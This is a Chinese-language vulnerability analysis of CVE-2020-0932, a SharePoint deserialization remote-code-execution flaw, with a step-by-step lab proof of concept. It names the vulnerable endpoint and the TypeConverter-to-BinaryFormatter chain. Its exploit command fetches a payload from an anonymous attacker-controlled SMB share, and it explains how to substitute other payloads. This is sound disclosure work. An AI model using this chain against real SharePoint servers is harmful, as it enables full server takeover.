CVE-2020-0932:SharePoint RCE漏洞分析

 

0x00 前言

2020年4月,微软公布了4个严重级别补丁及2个重要级别补丁,修复了SharePoint中的RCE(远程代码执行)漏洞,这些漏洞都属于反序列化漏洞,其中有2个漏洞由匿名研究人员向ZDI项目提供,分别为CVE-2020-0931CVE-2020-0932。本文详细分析了第二个漏洞(即ZDI-20-468),漏洞复现过程可参考此处视频

该漏洞允许经过身份认证的用户在SharePoint服务器上,在SharePoint应用服务账户的上下文中执行任意代码。为了利用该漏洞,攻击者必须具备SharePoint站点(或者至少具备该站点上某一页面)的“添加或自定义页面”权限。然而,默认配置下的SharePoint允许经过身份认证的任意用户以所需的所有权限来创建自己的站点。

 

0x01 漏洞分析

该漏洞的根源在于SharePoint在解析WebPart的XML配置时,并没有限制可用的属性类型(Type)。攻击者可能指定属性的字符串及类型名,SharePoint会尝试根据指定的类型,使用TypeConverter来转换字符串。攻击者可以使用SharePoint库中的某些TypeConverter实现任意代码执行。

此次攻击的入口点为如下WebPartPages)服务:

http://<Site>/_vti_bin/WebPartPages.asmx

在这个Web服务的内部实现中,处理XML WebPart配置时涉及到多个方法,其中有个方法为RenderWebPartForEdit。需要注意的是,RenderWebPartForEdit)以WebMethod形式对外公开,因此我们可以通过HTTP请求来调用该方法。

下一个方法(webPartImporter.CreateWebPart())比较复杂,其中实现了针对两个不同版本XML配置的解析器,分别为WebPart/v2(.dwp)文件及WebPart/v3(.webpart)文件。我们关注的重点在于针对.webpart文件的解析器。此外,该方法中大部分代码专用于Type解析以及验证WebPart,然而这与攻击过程无关,这里不再详细阐述。

我们的XML payload会传递给ImportWebPartBase()

这意味着所有属性元素都将由ImportWebPartFile.AddToProperyArrayLists()处理:

此时我们可以控制两个关键字符串:textxmlAttributeValue2text来自于属性元素的文本内容,而xmlAttributeValue2来自于元素的类型属性。在上图中,代码基于xmlAttributeValue2选择了一个.NET 类型,然后使用该类型的TypeConverte,将text转换为.NET对象实例(propValue)。

我们来研究一下可以使用哪些类型:

由于这里没有限制,因此我们可以使用任何Type

选择TypeConverter实现RCE

为了实现任意代码执行,我们选择System.Resources.ResXFileRef类型及对应的TypeConverterSystem.Resources.ResXFileRef.Converter)作为目标:

以上代码表明,System.Resources.ResXFileRef.Converter将接受我们指定的字符串(value),解析出两部分数据。首先为array[0],代码会将其解释为指向.resources资源文件的路径。其次为array[1],代码将其解释为.NET Type的名称。因此,上述代码将向构造函数传入单个参数,实例化我们指定的Type。该参数为包含我们指定的.resources文件的内容流。由于我们可以指定一个远程路径,指向攻击者控制的SMB服务端,因此我们可以完全控制流的内容。

选择可以实例化的Type

最后一个难题就是找到可用的.NET类型,该类型构造函数接受Stream类型的单个参数,可以用于实现任意代码执行。这里可能作为攻击的目标为System.Resources.ResourceSet

这里我们只关心两行代码:第一行及最后一行。第一行代码会调用System.Resources.ResourceReader的构造函数:

这看上去非常有希望,因为代码接受Stream的内容,将其提供给BinaryFormatter,这很容出现任意对象反序列化问题。

回看System.Resources.ResourceSet构造函数的最后一行,沿着代码执行路径流,往下跟进几层调用:

这表明服务端会反序列化不可信的数据,允许我们执行任意代码。

生成.resources文件

为了发起攻击,我们需要包含我们payload的一个编译好的.resources资源文件。我们可以使用Visual Studio来创建所需的.resources文件。在编译时,Visual Studio会使用Resource File Generator(Resgen.exe),将.resx文件转换为二进制资源文件(.resources)。为了注入payload,我们可以编辑.resx文件,使用如下内容替换已有的data节点:

现在我们可以保存*.resx文件,编译当前工程。Visual Studio会将编译好的*.resources文件存放在/obj目录中。

 

0x02 PoC

为了演示漏洞利用过程,我们在Windows Server 2019 Datacenter服务器上采用了默认安装的Microsoft SharePoint Server 2019。我们的主机名为sp2019.contoso.lab,为contoso.lab域中的主机成员,域控制器使用独立的虚拟机。我们添加了多个用户,包括具备常规权限的user2账户。

在攻击者系统上,我们可以选择SharePoint支持的任何Web浏览器,这里我们使用的是Mozilla Firefox 69.0.3。我们自己开发了一个SP_soap_RCE_PoC.exe应用来发起攻击,大家可以访问此处下载所需的文件,自己测试一下。如果想使用不同的BinaryFormatter payload,大家需要使用YSoSerial.Net。在演示场景中,我们选择在PoC中硬编码payload。

接下来我们需要设置攻击者控制的一个远程SMB服务器,这里我们选择能够收到目标SharePoint服务器流量的任何主机。在这台服务器上,我们需要配置一个不需要身份认证就能访问的共享文件夹。这个过程可能比较繁琐,大家可以参考此处来设置。在测试环境中,我们选择搭载Windows Server 2016 Standard系统的主机,IP地址为192.168.50.210。在设置共享文件夹时,我们还需要在共享目录的“Security”选项卡中勾选EveryoneGuest以及ANONYMOUS LOGON

可能有人会好奇,为什么SharePoint服务器会访问可匿名访问的SMB共享。出于安全原因,Windows SMB客户端通常不允许执行此类操作,这是从Windows 10 1709及Windows Server 2016开始引入的一个缓解机制。这里的答案在于,出于某些原因,SharePoint安装程序会通过注册表关闭该缓解机制。更具体一些,安装程序会修改HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters,将AllowInsecureGuestAuth的值改为1

创建并设置好目录后,我们可以将BinaryFormatter payload放在该位置,开始攻击。为了便于演示,我们将其命名为SP_soap_RCE_PoC.RCE_Resource.resources

我们首先访问SharePoint服务器,使用普通用户通过身份认证。这里我们选择的用户为user2

现在我们已经成功通过身份认证:

接下来创建自己的站点,这样我们就能成为该站点所有者,具备所有权限。需要注意的是,如果攻击者无法创建自己的站点,那么仍然可以尝试已有的所有站点及页面,查找具备“添加或者定制”权限的目标。

点击顶栏的“SharePoint”:

现在点击“+Create site”链接:

这里为了演示方便,我们选择“Team Site”,但其实上图中两个选项都可以。现在我们需要为新站点选择一个名称,这里我们使用的是siteofuser2

此外,我们还需要知道新站点的BaseURL。我们可以在下图中找到该信息,该信息位于绿色“Available”标签的上方。在示例中,这个URL为http://sp2019/sites/siteofuser2

点击“Finish”,成功创建新的站点:

现在转到目标SharePoint服务器,打开C:\windows\temp目录:

可以发现该目录中尚未出现Vuln_Server.txt。如果攻击成功,我们的PoC将会创建该文件。接下来,我们可以看到攻击者控制的SMB服务器上存在我们准备好的SP_soap_RCE_PoC.RCE_Resource.resources文件:

现在转到“攻击者”主机,我们准备使用自制的SP_soap_RCE_PoC.exe发起攻击,我们需要提供如下参数:

BaseUrl :目标SharePoint服务器的BaseUrl。这里对应的值为http://sp2019/sites/siteofuser2/

UserName:这里为user2

Password

Domain

Remote Path:payload文件路径。

最终构造的命令如下:

SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources

SharePoint的确会提示错误信息,表示我们指定了不安全的类型,但攻击依然能够成功完成。我们可以检查目标服务器上的Temp目录:

这意味着攻击者可以执行任意系统命令,拿下整个服务器。为了执行其他命令,我们需要生成自己的*.resource文件。这里我们可以使用任意文本编辑器打开RCE_Resource.resx文件,使用所需的payload替换经过base64编码的BinaryFormatter payload。

我们可以保存文件,在Visual Studio中打开项目重新编译。带有新payload的SP_soap_RCE_PoC.RCE_Resource.resources文件将位于\SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\目录中。

 

0x03 总结

根据微软的描述,官方通过“更正SharePoint对应用包源标记的检查过程”从而修复了这个漏洞。有趣的是,这6个SharePoint漏洞(包括严重等级的漏洞)都纳入同一个公告中。官方并没有给出足够信息,解释为什么某些漏洞等级评为严重级别,其他漏洞评为重要级别。因为这一点,我们建议大家将这些漏洞都当成“严重”级别漏洞来处理。在过去一段时间,攻击者都很喜欢利用SharePoint漏洞。2019年,攻击者曾在实际环境中广泛使用过CVE-2019-0604。这个漏洞是否会受攻击者欢迎,我们还是留给时间来证明。

(完)